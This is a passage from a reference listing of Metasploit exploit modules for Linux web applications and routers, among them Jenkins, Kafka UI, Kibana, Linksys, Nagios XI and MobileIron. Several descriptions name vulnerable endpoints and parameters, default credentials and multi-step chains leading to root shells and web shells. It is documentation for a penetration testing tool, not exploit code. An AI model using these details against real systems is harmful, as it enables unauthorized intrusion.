       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-26

Payload information:

Description:
  An unauthenticated Java object deserialization vulnerability exists
  in the CLI component for Jenkins versions `v2.56` and below.

  The `readFrom` method within the `Command` class in the Jenkins
  CLI remoting component deserializes objects received from clients
without
  first checking / sanitizing the data. Because of this, a malicious
serialized
  object contained within a serialized `SignedObject` can be sent to
the Jenkins
  endpoint to achieve code execution on the target.

End Exploit Number 173

Begin Exploit Number 174
       Name: Kafka UI Unauthenticated Remote Command Execution via the
Groovy Filter option.
     Module: exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251
   Platform: Unix, Linux
       Arch: cmd, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-09-27

Payload information:
  Avoid: 1 characters

Description:
  A command injection vulnerability exists in Kafka ui between
`v0.4.0` and `v0.7.1` allowing
  an attacker to inject and execute arbitrary shell commands via the
`groovy` filter parameter
  at the `topic` section.

End Exploit Number 174

Begin Exploit Number 175
       Name: Kaltura Remote PHP Code Execution over Cookie
     Module: exploit/linux/http/kaltura_unserialize_cookie_rce
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-09-12

Payload information:

Description:
  This module exploits an Object Injection vulnerability in Kaltura.
  By exploiting this vulnerability, unauthenticated users can execute
  arbitrary code under the context of the web server user.

  Kaltura makes use of a hardcoded cookie secret which allows to sign
  arbitrary cookie data. After passing this signature check, the
base64-
  decoded data is passed to PHPs unserialize() function which allows
for
  code execution. The constructed object is again based on the
SektionEins
  Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0
are
  affected by this issue.

  A valid entry_id (which is required for this exploit) can be
obtained
  from any media resource published on the kaltura installation.

  This module was tested against Kaltura 13.1.0-2 installed on Ubuntu
14.04.

End Exploit Number 175

Begin Exploit Number 176
       Name: Kaltura Remote PHP Code Execution
     Module: exploit/linux/http/kaltura_unserialize_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-15

Payload information:

Description:
  This module exploits an Object Injection vulnerability in Kaltura.
  By exploiting this vulnerability, unauthenticated users can execute
  arbitrary code under the context of the web server user.
  Kaltura has a module named keditorservices that takes user input
  and then uses it as an unserialized function parameter. The
constructed
  object is based on the SektionEins Zend code execution POP chain
PoC,
  with a minor modification to ensure Kaltura processes it and the
  Zend_Log function's __destruct() method is called. Kaltura versions
  prior to 11.1.0-2 are affected by this issue.

  This module was tested against Kaltura 11.1.0 installed on CentOS
6.8.

End Exploit Number 176

Begin Exploit Number 177
       Name: Kibana Timelion Prototype Pollution RCE
     Module: exploit/linux/http/
kibana_timelion_prototype_pollution_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-10-30

Payload information:

Description:
  Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code
execution flaw in the Timelion visualizer.
  An attacker with access to the Timelion application could send a
request that will attempt to execute
  javascript code. This leads to an arbitrary command execution with
permissions of the
  Kibana process on the host system.

  Exploitation will require a service or system reboot to restore
normal operation.

  The WFSDELAY parameter is crucial for this exploit. Setting it too
high will cause MANY shells
  (50-100+), while setting it too low will cause no shells to be
obtained. WFSDELAY of 10 for a
  docker image caused 6 shells.

  Tested against kibana 6.5.4.

End Exploit Number 177

Begin Exploit Number 178
```

```
       Name: Kibana Upgrade Assistant Telemetry Collector Prototype
Pollution
     Module: exploit/linux/http/kibana_upgrade_assistant_telemetry_rce
   Platform: Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-04-17

Payload information:

Description:
  Kibana before version 7.6.3 suffers from a prototype pollution bug
within the
  Upgrade Assistant. By setting a new constructor.prototype.sourceURL
value we're
  able to execute arbitrary code.
  Code execution is possible through two different ways. Either by
sending data
  directly to Elastic, or using Kibana to submit the same queries.
Either method
  enters the polluted prototype for Kibana to read.

  Kibana will either need to be restarted, or collection happens
(unknown time) for
  the payload to execute. Once it does, cleanup must delete
the .kibana_1 index
  for Kibana to restart successfully. Once a callback does occur,
cleanup will
  happen allowing Kibana to be successfully restarted on next attempt.

End Exploit Number 178

Begin Exploit Number 179
       Name: Klog Server authenticate.php user Unauthenticated Command
Injection
     Module: exploit/linux/http/
klog_server_authenticate_user_unauth_command_injection
   Platform: Unix, Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-12-27

Payload information:

Description:
  This module exploits an unauthenticated command injection
```

```
vulnerability
  in Klog Server versions 2.4.1 and prior.

  The `authenticate.php` file uses the `user` HTTP POST parameter in a
call
  to the `shell_exec()` PHP function without appropriate input
validation,
  allowing arbitrary command execution as the apache user.

  The sudo configuration permits the apache user to execute any
command
  as root without providing a password, resulting in privileged
command
  execution as root.

  This module has been successfully tested on Klog Server version
2.4.1
  virtual appliance.

End Exploit Number 179

Begin Exploit Number 180
       Name: Kloxo SQL Injection and Remote Code Execution
     Module: exploit/linux/http/kloxo_sqli
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-01-28

Payload information:
  Space: 262144

Description:
  This module exploits an unauthenticated SQL injection vulnerability
affecting Kloxo, as
  exploited in the wild on January 2014. The SQL injection issue can
be abused in order to
  retrieve the Kloxo admin cleartext password from the database. With
admin access to the
  web control panel, remote PHP code execution can be achieved by
abusing the Command Center
  function. The module tries to find the first server in the tree
view, unless the server
  information is provided, in which case it executes the payload
there.

End Exploit Number 180
```

```
Begin Exploit Number 181
       Name: Lexmark Device Embedded Web Server RCE
     Module: exploit/linux/http/lexmark_faxtrace_settings
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-03-13

Payload information:

Description:
  A unauthenticated Remote Code Execution vulnerability exists in the
embedded webserver in certain Lexmark devices through 2023-02-19.
  The vulnerability is only exposed if, when setting up the printer or
device, the user selects "Set up Later" when asked
  if they would like to add an Admin user. If no Admin user is created
the endpoint `/cgi-bin/fax_change_faxtrace_settings`
  is accessible without authentication. The endpoint allows the user
to configure a number of different fax settings.

  A number of the configurable parameters on the page (ex.
`FT_Custom_lbtrace`) fail to be sanitized properly before being
  used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing
for an unauthenticated user to run arbitrary commands.

End Exploit Number 181

Begin Exploit Number 182
       Name: LibreNMS addhost Command Injection
     Module: exploit/linux/http/librenms_addhost_cmd_inject
   Platform: 
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-12-16

Payload information:

Description:
  This module exploits a command injection vulnerability in the open
source
  network management software known as LibreNMS. The community
parameter used
  in a POST request to the addhost functionality is unsanitized. This
parameter
  is later used as part of a shell command that gets passed to the
popen function
```

```
  in capture.inc.php, which can result in execution of arbitrary code.

  This module requires authentication to LibreNMS first.

End Exploit Number 182

Begin Exploit Number 183
       Name: LibreNMS Collectd Command Injection
     Module: exploit/linux/http/librenms_collectd_cmd_inject
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-07-15

Payload information:

Description:
  This module exploits a command injection vulnerability in the
  Collectd graphing functionality in LibreNMS.

  The `to` and `from` parameters used to define the range for
  a graph are sanitized using the `mysqli_escape_real_string()`
  function, which permits backticks. These parameters are used
  as part of a shell command that gets executed via the `passthru()`
  function, which can result in code execution.

End Exploit Number 183

Begin Exploit Number 184
       Name: LifeSize UVC Authenticated RCE via Ping
     Module: exploit/linux/http/lifesize_uvc_ping_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-21

Payload information:

Description:
  When authenticated as an administrator on LifeSize UVC 1.2.6, an
attacker
  can abuse the ping diagnostic functionality to achieve remote
command
  execution as the www-data user (or equivalent).

End Exploit Number 184
```

```
Begin Exploit Number 185
       Name: Linear eMerge E3-Series Access Controller Command
Injection
     Module: exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-10-29

Payload information:

Description:
  This module exploits a command injection vulnerability in the Linear
eMerge
  E3-Series Access Controller. The Linear eMerge E3 versions `1.00-06`
and below are vulnerable
  to unauthenticated command injection in card_scan_decoder.php via
the  `No` and `door` HTTP GET parameter.
  Successful exploitation results in command execution as the `root`
user.

End Exploit Number 185

Begin Exploit Number 186
       Name: Linksys WRT54 Access Point apply.cgi Buffer Overflow
     Module: exploit/linux/http/linksys_apply_cgi
   Platform: Linux
       Arch: mipsle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-09-13

Payload information:
  Space: 10000

Description:
  This module exploits a stack buffer overflow in apply.cgi on the
Linksys WRT54G and WRT54GS routers.
  According to iDefense who discovered this vulnerability, all WRT54G
versions prior to
  4.20.7 and all WRT54GS version prior to 1.05.2 may be affected.

End Exploit Number 186

Begin Exploit Number 187
       Name: Linksys E1500/E2500 apply.cgi Remote Command Injection
     Module: exploit/linux/http/linksys_e1500_apply_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-05

Payload information:

Description:
  Some Linksys Routers are vulnerable to an authenticated OS command 
injection.
  Default credentials for the web interface are admin/admin or admin/
password. Since
  it is a blind os command injection vulnerability, there is no output 
for the
  executed command when using the cmd generic payload. A ping command 
against a
  controlled system could be used for testing purposes.

End Exploit Number 187

Begin Exploit Number 188
       Name: Linksys E-Series TheMoon Remote Command Injection
     Module: exploit/linux/http/linksys_themoon_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-02-13

Payload information:

Description:
  Some Linksys E-Series Routers are vulnerable to an unauthenticated 
OS command
  injection. This vulnerability was used from the so-called "TheMoon" 
worm. There
  are many Linksys systems that are potentially vulnerable, including 
E4200, E3200, E3000,
  E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This 
module was tested
  successfully against an E1500 v1.0.5.

End Exploit Number 188

Begin Exploit Number 189
       Name: Linksys Devices pingstr Remote Command Injection
     Module: exploit/linux/http/linksys_wrt110_cmd_exec
   Platform: Linux
       Arch: mipsle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-07-12

Payload information:

Description:
  The Linksys WRT100 and WRT110 consumer routers are vulnerable to a
command
  injection exploit in the ping field of the web interface.

End Exploit Number 189

Begin Exploit Number 190
       Name: Linksys WRT160nv2 apply.cgi Remote Command Injection
     Module: exploit/linux/http/linksys_wrt160nv2_apply_exec
   Platform: Linux, Unix
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-11

Payload information:

Description:
  Some Linksys Routers are vulnerable to an authenticated OS command
injection on
  their web interface where default credentials are admin/admin or
admin/password.
  Since it is a blind OS command injection vulnerability, there is no
output for the
  executed command when using the cmd generic payload. This module has
been tested on
  a Linksys WRT160n version 2 - firmware version v2.0.03. A ping
command against a
  controlled system could be used for testing purposes. The exploit
uses the tftp
  client from the device to stage to native payloads from the command
injection.

End Exploit Number 190

Begin Exploit Number 191
       Name: Linksys WRT54GL apply.cgi Command Execution
     Module: exploit/linux/http/linksys_wrt54gl_apply_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-01-18

Payload information:

Description:
  Some Linksys Routers are vulnerable to an authenticated OS command 
injection in
  the Web Interface. Default credentials are admin/admin or admin/
password. Since it
  is a blind os command injection vulnerability, there is no output 
for the executed
  command when using the cmd generic payload. A ping command against a 
controlled
  system could be used for testing purposes. The user must be prudent 
when using this
  module since it modifies the router configuration while 
exploitation, even when it
  tries to restore previous values.

End Exploit Number 191

Begin Exploit Number 192
       Name: Linksys WVBR0-25 User-Agent Command Execution
     Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-12-13

Payload information:
  Space: 1024

Description:
  The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to 
connect wireless Genie
  cable boxes to the Genie DVR, is vulnerable to OS command injection 
in version < 1.0.41
  of the web management portal via the User-Agent header. 
Authentication is not required to
  exploit this vulnerability.

End Exploit Number 192
```

```
Begin Exploit Number 193
       Name: LinuxKI Toolset 6.01 Remote Command Execution
     Module: exploit/linux/http/linuxki_rce
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-05-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in LinuxKI Toolset <= 6.01
which allows remote code execution.
  The kivis.php pid parameter received from the user is sent to the
shell_exec function, resulting in security vulnerability.

End Exploit Number 193

Begin Exploit Number 194
       Name: Logsign Remote Command Injection
     Module: exploit/linux/http/logsign_exec
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-02-26

Payload information:

Description:
  This module exploits a command injection vulnerability in Logsign.
  By exploiting this vulnerability, unauthenticated users can execute
  arbitrary code under the root user.

  Logsign has a publicly accessible endpoint. That endpoint takes a
user
  input and then use it during operating system command execution
without
  proper validation.

  This module was tested against 4.4.2 and 4.4.137 versions.

End Exploit Number 194

Begin Exploit Number 195
       Name: Lucee Administrator imgProcess.cfm Arbitrary File Write
     Module: exploit/linux/http/lucee_admin_imgprocess_file_write
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-01-15

Payload information:

Description:
  This module exploits an arbitrary file write in Lucee
Administrator's
  imgProcess.cfm file to execute commands as the Tomcat user.

End Exploit Number 195

Begin Exploit Number 196
       Name: MagnusBilling application unauthenticated Remote Command
Execution.
     Module: exploit/linux/http/
magnusbilling_unauth_rce_cve_2023_30258
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-26

Payload information:

Description:
  A Command Injection vulnerability in MagnusBilling application 6.x
and 7.x allows
  remote attackers to run arbitrary commands via unauthenticated HTTP
request.
  A piece of demonstration code is present in `lib/icepay/icepay.php`,
with a call to an exec().
  The parameter to exec() includes the GET parameter `democ`, which is
controlled by the user and
  not properly sanitised/escaped.
  After successful exploitation, an unauthenticated user is able to
execute arbitrary OS commands.
  The commands run with the privileges of the web server process,
typically `www-data` or `asterisk`.
  At a minimum, this allows an attacker to compromise the billing
system and its database.

  The following MagnusBilling applications are vulnerable:
  - MagnusBilling application version 6 (all versions);
  - MagnusBilling application up to version 7.x without commit
7af21ed620 which fixes this vulnerability;

End Exploit Number 196

Begin Exploit Number 197
       Name: Mailcleaner Remote Code Execution
     Module: exploit/linux/http/mailcleaner_exec
   Platform: Python, Unix
       Arch: python, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-12-19

Payload information:

Description:
  This module exploits the command injection vulnerability of
MailCleaner Community Edition product. An authenticated user can
execute an
  operating system command under the context of the web server user
which is root.

  /admin/managetracing/search/search endpoint takes several user
inputs and then pass them to the internal service which is responsible
for executing
  operating system command. One of the user input is being passed to
the service without proper validation. That cause a command injection
vulnerability.

End Exploit Number 197

Begin Exploit Number 198
       Name: MajorDoMo Command Injection
     Module: exploit/linux/http/majordomo_cmd_inject_cve_2023_50917
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-12-15

Payload information:

Description:
  This module exploits a command injection vulnerability in MajorDoMo
  versions before 0662e5e.

End Exploit Number 198
```

```
Begin Exploit Number 199
       Name: Metabase Setup Token RCE
     Module: exploit/linux/http/metabase_setup_token_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-22

Payload information:

Description:
  Metabase versions before 0.46.6.1 contain a flaw where the secret
setup-token
  is accessible even after the setup process has been completed. With
this token
  a user is able to submit the setup functionality to create a new
database.
  When creating a new database, an H2 database string is created with
a TRIGGER
  that allows for code execution. We use a sample database for our
connection
  string to prevent corrupting real databases.

  Successfully tested against Metabase 0.46.6.

End Exploit Number 199

Begin Exploit Number 200
       Name: Micro Focus Operations Bridge Reporter Unauthenticated
Command Injection
     Module: exploit/linux/http/microfocus_obr_cmd_injection
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-02-09

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a command injection vulnerability on *login*
(yes, you read that right)
  that affects Micro Focus Operations Bridge Reporter on Linux,
versions 10.40 and below.
```

```
  It's a straight up command injection, with little escaping required
and it works before
  authentication.
  This module has been tested on the Linux 10.40 version. Older
versions might be affected,
  check the advisory for details.

End Exploit Number 200

Begin Exploit Number 201
       Name: MicroFocus Secure Messaging Gateway Remote Code Execution
     Module: exploit/linux/http/microfocus_secure_messaging_gateway
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-06-19

Payload information:

Description:
  This module exploits a SQL injection and command injection
vulnerability in MicroFocus Secure Messaging Gateway.
  An unauthenticated user can execute a terminal command under the
context of the web user.

  One of the user supplied parameters of API endpoint is used by the
application without input validation and/or parameter binding,
  which leads to SQL injection vulnerability. Successfully exploiting
this vulnerability gives a ability to add new user onto system.
  manage_domains_dkim_keygen_request.php endpoint is responsible for
executing an operation system command. It's not possible
  to access this endpoint without having a valid session.

  Combining these vulnerabilities gives the opportunity execute
operation system commands under the context
  of the web user.

End Exploit Number 201

Begin Exploit Number 202
       Name: Mida Solutions eFramework ajaxreq.php Command Injection
     Module: exploit/linux/http/mida_solutions_eframework_ajaxreq_rce
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-07-24
```

```
Payload information:
  Avoid: 1 characters

Description:
  This module exploits a command injection vulnerability in Mida
  Solutions eFramework version 2.9.0 and prior.

  The `ajaxreq.php` file allows unauthenticated users to inject
  arbitrary commands in the `PARAM` parameter to be executed as
  the apache user. The sudo configuration permits the apache user
  to execute any command as root without providing a password,
  resulting in privileged command execution as root.

  This module has been successfully tested on Mida Solutions
  eFramework-C7-2.9.0 virtual appliance.

End Exploit Number 202

Begin Exploit Number 203
       Name: MobileIron Core Unauthenticated JNDI Injection RCE (via
Log4Shell)
     Module: exploit/linux/http/mobileiron_core_log4shell
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-12

Payload information:

Description:
  MobileIron Core is affected by the Log4Shell vulnerability whereby a
JNDI string sent to the server
  will cause it to connect to the attacker and deserialize a malicious
Java object. This results in OS
  command execution in the context of the tomcat user.

  This module will start an LDAP server that the target will need to
connect to.

End Exploit Number 203

Begin Exploit Number 204
       Name: MobileIron MDM Hessian-Based Java Deserialization RCE
     Module: exploit/linux/http/mobileiron_mdm_hessian_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-09-12

Payload information:

Description:
  This module exploits an ACL bypass in MobileIron MDM products to
  execute a Groovy gadget against a Hessian-based Java deserialization
  endpoint.

End Exploit Number 204

Begin Exploit Number 205
       Name: D-Link/TRENDnet NCC Service Command Injection
     Module: exploit/linux/http/multi_ncc_ping_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-02-26

Payload information:

Description:
  This module exploits a remote command injection vulnerability on
several routers. The
  vulnerability exists in the ncc service, while handling ping
commands. This module has
  been tested on a DIR-626L emulated environment. Several D-Link and
TRENDnet devices
  are reported as affected, including: D-Link DIR-626L (Rev A)
v1.04b04, D-Link DIR-636L
  (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L
(Rev A) v1.01b04, D-Link
  DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link
DIR-820L (Rev A)
  v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A)
v1.00b23, D-Link
  DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and
TRENDnet TEW-731BR (Rev 2)
  v2.01b01

End Exploit Number 205

Begin Exploit Number 206
       Name: Mutiny 5 Arbitrary File Upload
     Module: exploit/linux/http/mutiny_frontend_upload
   Platform: Linux
```

```
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-05-15

Payload information:

Description:
  This module exploits a code execution flaw in the Mutiny 5
appliance. The
  EditDocument servlet provides a file upload function to
authenticated users. A
  directory traversal vulnerability in the same functionality allows
for arbitrary
  file upload, which results in arbitrary code execution with root
privileges. In
  order to exploit the vulnerability a valid user (any role) in the
web frontend is
  required. The module has been tested successfully on the Mutiny
5.0-1.07 appliance.

End Exploit Number 206

Begin Exploit Number 207
       Name: MVPower DVR Shell Unauthenticated Command Execution
     Module: exploit/linux/http/mvpower_dvr_shell_exec
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-23

Payload information:

Description:
  This module exploits an unauthenticated remote command execution
  vulnerability in MVPower digital video recorders. The 'shell' file
  on the web interface executes arbitrary operating system commands in
  the query string.

  This module was tested successfully on a MVPower model TV-7104HE
with
  firmware version 1.8.4 115215B9 (Build 2014/11/17).

  The TV-7108HE model is also reportedly affected, but untested.

End Exploit Number 207
```

```
Begin Exploit Number 208
       Name: Nagios XI Autodiscovery Webshell Upload
     Module: exploit/linux/http/nagios_xi_autodiscovery_webshell
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-07-15

Payload information:

Description:
  This module exploits a path traversal issue in Nagios XI before
version 5.8.5 (CVE-2021-37343).
  The path traversal allows a remote and authenticated administrator
to upload a PHP web shell
  and execute code as `www-data`. The module achieves this by creating
an autodiscovery job
  with an `id` field containing a path traversal to a writable and
remotely accessible directory,
  and `custom_ports` field containing the web shell. A cron file will
be created using the chosen
  path and file name, and the web shell is embedded in the file.

  After the web shell has been written to the victim, this module will
then use the web shell to
  establish a Meterpreter session or a reverse shell. By default, the
web shell is deleted by
  the module, and the autodiscovery job is removed as well.

End Exploit Number 208

Begin Exploit Number 209
       Name: Nagios XI Chained Remote Code Execution
     Module: exploit/linux/http/nagios_xi_chained_rce
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-06

Payload information:

Description:
  This module exploits an SQL injection, auth bypass, file upload,
  command injection, and privilege escalation in Nagios XI <= 5.2.7
  to pop a root shell.
```

```
End Exploit Number 209

Begin Exploit Number 210
       Name: Nagios XI Chained Remote Code Execution
     Module: exploit/linux/http/
nagios_xi_chained_rce_2_electric_boogaloo
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-04-17

Payload information:

Description:
  This module exploits a few different vulnerabilities in Nagios XI
5.2.6-5.4.12 to gain remote root access.
  The steps are:
    1. Issue a POST request to /nagiosql/admin/settings.php which sets
the database user to root.
    2. SQLi on /nagiosql/admin/helpedit.php allows us to enumerate API
keys.
    3. The API keys are then used to add an administrative user.
    4. An authenticated session is established with the newly added
user
    5. Command Injection on /nagiosxi/backend/index.php allows us to
execute the payload with nopasswd sudo,
    giving us a root shell.
    6. Remove the added admin user and reset the database user.

End Exploit Number 210

Begin Exploit Number 211
       Name: Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated
Remote Code Exection
     Module: exploit/linux/http/
nagios_xi_configwizards_authenticated_rce
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-02-13

Payload information:

Description:
  This module exploits CVE-2021-25296, CVE-2021-25297, and
CVE-2021-25298, which are
```

```
  OS command injection vulnerabilities in the windowswmi, switch, and
cloud-vm
  configuration wizards that allow an authenticated user to perform
remote code
  execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.

  Valid credentials for a Nagios XI user are required. This module has
  been successfully tested against official NagiosXI OVAs from
5.5.6-5.7.5.

End Exploit Number 211

Begin Exploit Number 212
       Name: Nagios XI Magpie_debug.php Root Remote Code Execution
     Module: exploit/linux/http/nagios_xi_magpie_debug
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-11-14

Payload information:

Description:
  This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
  CVE-2018-15708 which allows for unauthenticated remote code
execution
  and CVE-2018-15710 which allows for local privilege escalation.
  When combined, these two vulnerabilities allow execution of
arbitrary
  commands as root.

End Exploit Number 212

Begin Exploit Number 213
       Name: Nagios XI 5.6.0-5.7.3 - Mibs.php Authenticated Remote
Code Exection
     Module: exploit/linux/http/nagios_xi_mibs_authenticated_rce
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-20

Payload information:

Description:
  This module exploits CVE-2020-5791, an OS command injection
```

```
vulnerability in
  `admin/mibs.php` that enables an authenticated user with admin
privileges to achieve
  remote code execution as either the `apache` user or the `www-data`
user on NagiosXI
  version 5.6.0 to 5.7.3 inclusive (exact user depends on the version
of NagiosXI
  installed as well as the OS its installed on).

  Valid credentials for a Nagios XI admin user are required. This
module has
  been successfully tested against Nagios XI 5.7.3 running on CentOS
7.

End Exploit Number 213

Begin Exploit Number 214
       Name: Nagios XI Prior to 5.6.6 getprofile.sh Authenticated
Remote Command Execution
     Module: exploit/linux/http/
nagios_xi_plugins_check_plugin_authenticated_rce
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-07-29

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the getprofile.sh script
  of Nagios XI prior to 5.6.6 in order to upload a malicious
check_ping
  plugin and thereby execute arbitrary commands.

  For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user.
  For versions 5.5.0-5.6.5 the commands are run as root. Note that
versions
  prior to 5.2.0 will still be marked as being vulnerable however this
  module does not presently support exploiting these targets.

  The module uploads a malicious check_ping plugin to the Nagios XI
server via
  /admin/monitoringplugins.php and then executes this plugin by
issuing
  a HTTP GET request to download a system profile from the server.
  For all supported targets except Linux (cmd), the module uses a
command
```

```
  stager to write the exploit to the target via the malicious plugin.
  This may not work if Nagios XI is running in a restricted Unix
environment,
  so in that case the target must be set to Linux (cmd). The module
then
  writes the payload to the malicious plugin while avoiding commands
  that may not be supported.

  Valid credentials for a user with administrative privileges are
  required. This module was successfully tested on Nagios XI 5.3.0 and
  Nagios 5.6.5, both running on CentOS 7. For vulnerable versions
before
  5.5.0, it may take a significant amount of time for the payload to
get
  back (up to 5 minutes). If exploitation fails against an older
system,
  it is recommended to increase the WfsDelay setting (default is 300
  seconds). See the documentation for more information.

End Exploit Number 214

Begin Exploit Number 215
       Name: Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated
Remote Code Exection
     Module: exploit/linux/http/
nagios_xi_plugins_filename_authenticated_rce
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-12-19

Payload information:

Description:
  This module exploits a command injection vulnerability
(CVE-2020-35578) in the `/admin/monitoringplugins.php`
  page of Nagios XI versions prior to 5.8.0 when uploading plugins.
Successful exploitation allows
  an authenticated admin user to achieve remote code execution as the
`apache` user by uploading
  a malicious plugin.

  Valid credentials for a Nagios XI admin user are required. This
module has
  been successfully tested against Nagios versions XI 5.3.0 and 5.7.5,
both
  running on CentOS 7.
```

```
End Exploit Number 215

Begin Exploit Number 216
       Name: Nagios XI 5.5.0-5.7.3 - Snmptrap Authenticated Remote
Code Exection
     Module: exploit/linux/http/nagios_xi_snmptrap_authenticated_rce
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-20

Payload information:

Description:
  This module exploits an OS command injection vulnerability in
  includes/components/nxti/index.php that enables an authenticated
user
  with admin privileges to achieve remote code execution as the
`apache`
  user. The module uploads a simple PHP shell via includes/components/
nxti/index.php
  to includes/components/autodiscovery/jobs/<php_shell> and then
  executes the payload as the `apache` user via an HTTP GET request to
  includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>

  Valid credentials for a Nagios XI admin user are required. This
module has
